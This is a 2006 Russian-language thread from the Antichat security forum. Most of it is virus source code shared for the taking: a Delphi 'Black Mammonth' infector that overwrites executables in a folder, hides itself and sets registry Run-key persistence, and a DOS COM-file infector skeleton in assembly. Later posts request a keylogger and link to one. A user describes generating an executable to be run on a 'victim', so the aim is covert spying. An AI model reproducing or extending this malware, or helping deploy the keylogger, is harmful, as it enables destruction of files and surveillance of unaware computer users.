ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

02.05.2006, 17:22
|
|
Banned
Регистрация: 07.04.2006
Сообщений: 7
Провел на форуме: 42008
Репутация:
0
|
|
Ну что делать если немного туплю
Кот я тут о помощи прошу (а не такого рода коментарий которые я кстати ненавижу!!!!!! Я бы их щетал за флууд)
|
|
|

03.05.2006, 12:33
|
|
Постоянный
Регистрация: 09.10.2005
Сообщений: 333
Провел на форуме: 1387660
Репутация:
74
|
|
пример вируса на делфи
пример вируса на делфи
Код:
{
BLACK MAMMONTH VIRUS,
ОБУЧАЮЩАЯ ВЕРСИЯ.
MADE IN USSR,
Dr.Klouniz
КАК ИГРАТЬСЯ С ЭТИМ ВИРУСОМ. ЮЗЕР МАНУАЛ:
1.Создаем каталог c:\inf
2.Компилируем вирус (Project--> Build)
3.Cравниваем размер полученного файла с константой VIRLEN; если не совпадает-
измени константу и перекомпилиру }
4. Переписываем в каталог c: \inf несколько exe - файлов и вирус.Запускаем вирус.
}
{$I-} //Игнорировать I/O ошибки
{$D-} //Не вводить в код отладочную информацию
program VirDebug;
uses sysutils, //Заголовочные файлы
windows,
registry, //Работа с системным реестром
classes,
inifiles; //Работа с INI-файлами
const
VIRLEN = 296960; //Длина нашего вируса. После компиляции сравните получ.
//размер с указанным здесь, при необходимости измените и перекомпилируйте
var
zertva, virus: TFileStream; //Мы и жертва
//буфера для чтения записи довеска и вируса
vir, dovesok: array[1..VirLen] of Char;
result: integer; //результат FindFirst'а
client, sr: TSearchRec;
//Массив имени файла
Name: array[1..8] of string;
//Массив расширения файла
Ext: array[1..3] of string;
//Наш INI-каталог; вирус- полноценная прога под WindoZ!
Info: TINIFILE;
NewName, pr, par, FromF: string; //Разные строчки
//Дата как метка зараженности
Birth: TDateTime;
kill, slay, winvir, NewProga: file; //файлы
//Индикатор зараженности (TRUE/FALSE)
infected: boolean;
//Текстовый файл-визитка; свидетельствует о том, что это не первый
//старт виря на данном компьютере
check: textfile;
si: Tstartupinfo;
p: Tprocessinformation;
reg: TRegistry;
// Функция- копировалка
function WindowsCopyFile(FromFile, ToDir: string): boolean;
var
F: TShFileOpStruct;
begin
F.Wnd := 0;
F.wFunc := FO_COPY;
FromFile := FromFile + #0;
F.pFrom := pchar(FromFile);
ToDir := ToDir + #0;
F.pTo := pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
result := ShFileOperation(F) = 0;
end;
procedure INFECTFILES; //Процедура-инфектор
begin
//Находим исполн. файл в каталоге c:\inf\
result := FindFirst('c:\INF\*.exe', faAnyFile, client);
while Result = 0 do //Если нашли, то...
begin
//Проверка на вшивость
Infected := false;
//если дата- 09.08.83 и время 6:00, то файл заражен и нам не нужен
if DateTimeToStr(FileDateToDateTime(fileage('c:\INF\' + client.name))) =
'09.08.83 06:00:00' then
infected := true;
//Проверено!
//если мы нашли не сами себя и не зараженный файл, то...
if (client.name <> sr.name) and (infected = false) and
(client.name <> 'mammonth.exe') then
. //Сочиним новое имя для нашей жертвы;
begin
Name[1] := inttostr(random(10));
Name[2] := inttostr(random(10));
Name[3] := inttostr(random(10));
Name[4] := inttostr(random(10));
Name[5] := inttostr(random(10));
Name[6] := inttostr(random(10));
Name[7] := inttostr(random(10));
Name[8] := inttostr(random(10));
Ext[1] := inttostr(random(10));
Ext[2] := inttostr(random(10));
Ext[3] := inttostr(random(10));
NewName := name[1] + name[2] + name[3] + name[4] + name[5] + name[6] +
name[7] +
name[8] + '.' + ext[1] + ext[2] + ext[3]; //скомпонуем новое имя
//Свяжемся с нашей жертвой
AssignFile(Kill, 'c:\INF\' + client.name);
//Отправим ее в загон для всех таких же, с уникальным именем
ReName(Kill, 'c:\INF\files\' + NewName);
//Фиксируем новое имя в нашем каталоге
Info := TIniFile.create('c:\inf\filelist.ini');
with info do
begin
//Пишем данные с каталог в виде Исходное_имя_файла=Новое_имя_файла
WriteString('FILELIST', client.name, NewName);
free;
end;
//А теперь заразим страшным ВИРУСОМ наш файл!
//Открываем на чтение наш семенной фонд :)
||virus := TFileStream.create('c:\inf\mammonth.exe', fmOpenRead);
Virus.Read(vir, VirLen);
//Читаем вирус полностью (константу VirLen помнишь?)
//Если клиент поболее нас, но не более чем вдвое,
if (Client.Size > VirLen) and ((Client.Size - VirLen) <= VirLen) then
//то сравняем размеры
begin
Virus.Position := 1; //Рамка считывания- сначала
Virus.Read(Dovesok, Client.Size - VirLen); //читаем довесок
end;
//перепишем жертву по- нашему
zertva := TFileStream.create('c:\inf\' + client.name, fmCreate);
zertva.Write(vir, virlen); //Запишем себя в жертву
if (client.size > virlen) and ((Client.size - VirLen) <= VirLen) then
zertva.write(dovesok, client.size - virlen); //И сверху еще довесок
Birth := StrToDateTime('09.08.83 06:00:00');
//поставим жертве индикатор зараженности
FileSetDate(Zertva.Handle, DateTimeToFileDate(birth));
Zertva.FREE; //Отпускаем жертву!
Virus.FREE;
end;
Result := FindNEXT(Client); //Ищем следуюущий екзешник
end;
end;
procedure REGISTRATION;
begin
//первый раз, в первый класс!
MkDir('c:\inf\files'); //Создадим загон для жертв
AssignFile(check, 'c:\inf\present.dat'); //Делаем файл-визитку
ReWrite(check);
WriteLn(check, 'BLACK MAMMONTH virus is now active in this computer');
CloseFile(check); //Сделано!
par := ParamStr(0); //Посмотрим полное имя нашего файла с путем
WindowsCopyFile(Par, 'c:\inf\'); //скопируем его в рабочий каталог (папку:))
AssignFile(winvir, 'c:\inf\' + sr.name); //Найдем его в рабочем каталоге
ReName(winvir, 'c:\inf\mammonth.exe'); //...И переименуем в mammonth.exe
Reg := TRegistry.Create;
//И пусть этот маммонт запускается каждый раз!
FileSetAttr('c:\inf\mammonth.exe', faHidden);
with Reg do
begin
if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true) then
begin
WriteString('MAMMONTH', 'c:\windows\mammonth.exe');
CloseKey;
end;
end;
//Все. Мы в реестре.
//Халтим вирус с правдоподобным сообщением-
//сюда можно вписать процедуру вызова StackOverflow
end;
//Процедура исполнения оригинальной проги
procedure EXECPROGRAM
begin
Info := TIniFile.Create('c:\inf\filelist.ini'); //Заглянем в каталог
FromF := Info.ReadString('FILELIST', Sr.Name, 'NewName');
//Вытащим из загона нужный файл
WindowsCopyFile('c:\inf\files\' + FromF, 'c:\inf\');
AssignFile(NewProga, 'c:\inf\' + FromF);
ReName(NewProga, 'c:\inf\' + '_' + Sr.Name); //сделаем левый файл
PR := 'c:\inf\' + '_' + Sr.Name;
Info.Free;
//Создали, теперь заКапустим его!!!
FillChar(Si, SizeOf(Si), 0);
with Si do
begin
cb := SizeOf(Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
//Application.Minimize;
Pr := Pr + #0;
Createprocess(nil, @Pr[1], nil, nil, false, Create_default_error_mode, nil,
nil, si, p);
Waitforsingleobject(p.hProcess, infinite);
//Application.Restore;
//Все, отпахала юзерская прога- потрем ее на хрен!
AssignFile(slay, pr);
Erase(slay);
end.
{
КОНЕЦ ПРОЦЕДУРНОЙ ЧАСТИ
}
begin
//узнаем имя файла, откуда стартовали
FindFirst(ParamStr(0), faAnyFile, sr);
//А вдруг первый раз на этом компе???
AssignFile(check, 'c:\inf\present.dat');
Reset(check);
if IOresult <> 0 then //Если нашего файлика-визитки нет, пора зарегиться тут
begin
REGISTRATION;
INFECTFILES;
HaLt;
end;
if sr.name = 'mammonth.exe' then
begin
//Можно запустить инфект файлов, но лучше вписать сюда какой-нибудь прикол
//INFECTFILES;
HALT;
end;
INFECTFILES;
EXECPROGRAM;
{++++END OF THE WORLD NEAR++++}
end.
|
|
|

07.05.2006, 18:04
|
|
Постоянный
Регистрация: 09.10.2005
Сообщений: 333
Провел на форуме: 1387660
Репутация:
74
|
|
кому нужно могу привести пример вируса на ассемблере
нужно?
|
|
|

10.05.2006, 15:51
|
|
Участник форума
Регистрация: 27.11.2005
Сообщений: 211
Провел на форуме: 619677
Репутация:
34
|
|
_http://xroot.hut1.ru/downloads.php?cat_id=6 ИМХО без наворотов)
|
|
|

15.05.2006, 12:05
|
|
Постоянный
Регистрация: 09.10.2005
Сообщений: 333
Провел на форуме: 1387660
Репутация:
74
|
|
пример вируса на асме
Код:
.286
cseg SEGMENT
assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG
org 100h
Begin:
jmp Init ; преходим на процедуру инициализации
;Это будут строки, указывающие то, что программа уже заражена
;Обратите внимание, что мы данным строкам вообще не задаем никакого имени.
;Так можно делать!
db 77h, 88h, 99h
; === Процедуры работы с файлами ===
; --- Открытие файла для записи ---
; Вход: DX - путь к файлу в ASCIIZ
; Выход: Handle, BX - номер файла
Open_file proc
mov ax,3D02h ;открываем файл для чтения/записи
mov dx,1Eh ;DX указывает на имя найденного файла в DTA
int 21h
mov Handle,ax ;сохраняем номер файла
mov bx,ax
ret
Handle dw 0FFFFh ;переменная для хранения номера файла (по умолчанию 0FFFFh)
Open_file endp
; --- Закрытие файла ---
; Вход: Handle - номер открытого файла
; Выход: ничего
Close_file proc
cmp Handle,0FFFFh ;нет открытых файлов?
je No_close ;тогда выходим (закрывать нечего!)
mov bx,Handle ;закрываем файл...
mov ah,3Eh
int 21h
No_close:
ret
Close_file endp
; --- Поиск первого файла ---
Find_first proc
mov ah,4Eh ;ищем первый файл по маске (Mask_file)
xor cx,cx ;атрибуты обычные (CX=0)
mov dx,offset Mask_file ;адрес маски в DS:DX
int 21h ;теперь (если нашли файл *.com в текущем каталоге) имя файла
;находится по адресу 0BF00:001Eh, т.е. по смещению 30...
ret
Mask_file db '*.com',0 ;маска для поиска (только COM-файлы)
Find_first endp
; --- Поиск следующих файлов ---
Find_next proc
xor dx,dx ;DS:DX указывают на DTA
xor cx,cx ;Атрибуты обычные
mov ah,4Fh
int 21h ;Теперь в DTA находится информация о следующем найденном файле
ret
Find_next endp
; --- Заражение файла ---
Infect_file proc
clc
ret
Infect_file endp
; === Процедура инициализации вируса ===
Init:
call Get_IP ;Получим смещение, где мы сейчас находимся
Get_IP:
pop ax ;Теперь в AX - смещение
sub ax,offset Get_IP ;Вычтем из него реальный адрес, где мы будем
;находиться в сегменте 0BF00h
;Получим размер файла-"жертвы", если его нет,
;то AX будет равен 0
push 0BF00h
pop es ;ES - сегмент, куда будем перемещать код вируса,
mov di,offset Open_file ;DI - смещение (адрес самой первой процедуры )
mov si,di
add si,ax ;SI должен содержать РЕАЛЬНЫЙ адрес (смещение), т.к. мы
;пока еще в сегменте "файла-жертвы"...
mov cx,offset Finish-100h ;т.е. CX = длина нашего вируса в байтах
rep movsb ;Теперь в памяти две копии нашего вируса
;Занесем в стек смещение (Lab_return+AX) и сегмент (CS) возврата из копии...
mov bx,offset Lab_return
add bx,ax ;Т.е. как бы искусственно заносим адрес возврата для
push cs ;команды retf
push bx
;Занесем в стек адрес для перехода в нашу копию:
; * сегмент - 0BF00h
; * смещение - Lab_jmp
mov bx,offset Lab_jmp ;Аналогично вышесказанному...
add bx,ax
push 0BF00h
push bx
;ВНИМАНИЕ!
;В стеке находится адрес следующей метки, только расположенной в другом
;сегменте, а именно: 0BF00h.
;По этому адресу находится метка Lab_jmp (см. следующую строку ).
;Теперь перейдем на метку Lab_jmp, расположенную в сегменте 0BF00h,
;используя оператор retf, который вытащит из стека указанный выше сегмент и
;смещение (0BF00h:Lab_jmp+AX) и "прыгнет" на него.
retf
; Теперь мы уже в области экрана. Однако, в стеке находится адрес возврата на
; метку Lab_return, но в сегмент программы-"жертвы"
Lab_jmp:
;Вот сюда мы и "прыгнули" с предыдущей строки! Толко CS теперь
;равен 0BF00h.
push cs ;настроим регистр DS
pop ds
mov ah,1Ah ;установим DTA для поиска файлов
xor dx,dx ;он устанавливается на тот адрес, который содержится
int 21h ;в регистрах DS:DX. В отладчике посмотрите,
;что находится в памяти, на которую указывают данные
;регистры, т.е. DS:DX...
call Find_first ;ищем первый файл
jc Nomore_files ;нет COM-файлов - на выход
Inf_file:
call Infect_file ;нашли - пробуем заразить
jnc Nomore_files ;удалось заразить - выходим
call Find_next ;не удалось заразить - ищем следующий
jnc Inf_file ;нашли еще один COM-файл; пробуем заразить...
;Выполнили свою грязную работу. Пора передавать управление файлу-"жертве";
;нужно восстановить его первые шесть байт, которые храняться в переменной
;First_bytes
Nomore_files:
mov si,offset First_bytes ;DS:SI - на массив из шести слов
mov di,100h ;ES:DI - куда пермещать строку (шесть байт)
push ss ;SS содержит сегмент файла-"жертвы", который нужно загрузить
pop es ;в ES
mov cx,6 ;6 байт перемещаем: DS:SI = ES:DI
rep movsb
;"Файл-жертва" восстановлен в памяти (точнее, его первые шесть байт).
;Теперь вернемся в сегмент программы-"жертвы", т.е. туда, где мы
;были изначально. Как?
;Вспомните, что в стеке хранится смещение и сегмент для возврата:
;mov bx,offset Lab_return
;add bx,ax ;Т.е. как бы искусственно заносим адрес возврата для
;push cs ;комады retf
;push bx
;Команда retf, как Вам уже известно, вытащит из стека смещение (Lab_return+AX)
;и сегмент (CS) и перейдет по этому адресу. Вот и весь фокус!
retf
;Теперь мы опять в сегменте зараженной программы ("прыгнули" с предыдущей
;строки командой retf)...
Lab_return:
push cs ;восстановим DS (ES уже в порядке!)
pop ds
mov ah,1Ah ;восстановим DTA
mov dx,80h
int 21h
mov ax,100h ;Передаем управление "файлу-жертве" вот таким странным
jmp ax ;способом. Т.е. jmp 100h
; === Данные ===
;Здесь (First_bytes) хранятся первые байты "файла-жертвы".
;Если это первый запуск вируса, то по умолчанию получим:
;nop (90h)
;nop (90h)
;nop (90h)
;nop (90h)
;int 20h (0CDh, 20h)
;Итого: 6 байт
; первые три байта - jmp на код вируса, который мы искусственно добавим
; при заражении какой-нибудь программы.
; вторые три байта - метка того, что файл уже заражен нашим вирусом
; У нас будет: 77h, 88h, 99h
First_bytes db 4 dup (90h), 0CDh, 20h
Finish equ $ ;метка конца программы-вируса
CSEG ends
end Begin
|
|
|

15.05.2006, 18:07
|
|
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме: 3493315
Репутация:
1228
|
|
а может ктонить такой пример на С++ привести, т.к ни асемблера ни делфи незнаю))
|
|
|

15.06.2006, 14:41
|
|
Новичок
Регистрация: 05.05.2006
Сообщений: 4
Провел на форуме: 16118
Репутация:
0
|
|
Вопрос, как жертва может избавиться от клавиатурного шпиона? из какой директории его надо удалить, чтобы он перестал функционировать
|
|
|

15.06.2006, 14:48
|
|
Новичок
Регистрация: 05.05.2006
Сообщений: 4
Провел на форуме: 16118
Репутация:
0
|
|
Сообщение от Mukis
_http://xroot.hut1.ru/downloads.php?cat_id=6 ИМХО без наворотов)
ты сам то им пользовался?
|
|
|

15.06.2006, 16:06
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме: 5301021
Репутация:
1879
|
|
Сообщение от Vlad1
ты сам то им пользовался?
Я им пользовался... всё нормально. Установка и удаление производится одним и тем же файлом. удобно впринципе
|
|
|

15.06.2006, 16:49
|
|
Новичок
Регистрация: 05.05.2006
Сообщений: 4
Провел на форуме: 16118
Репутация:
0
|
|
Сообщение от Dr.Check
Я им пользовался... всё нормально. Установка и удаление производится одним и тем же файлом. удобно впринципе
Скачал эту программку. Запускаешь exe'шник там такая штука "Saisir le code de decryptage". Я так понял надо ввести xroot и нажать "decrypter le fichier". Вот здесь начинается самое интересное, у меня выскакивает новый exe-файл(причем независимо от того, правильный или неправильный пороль) , я так понял, тот, который нужно запустить жертве. И никого текстового файла с настройками не выскакавает. Помогите плиз....
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Клавиатурный шпион
|
|
Болталка |
12 |
15.09.2008 16:29 |
|
Прога Шпион
|
BiX |
Soft - Windows |
14 |
30.03.2006 17:10 |
|
Скрипт шпион
|
Melkiy |
АнтиАдмин |
7 |
17.06.2005 12:27 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|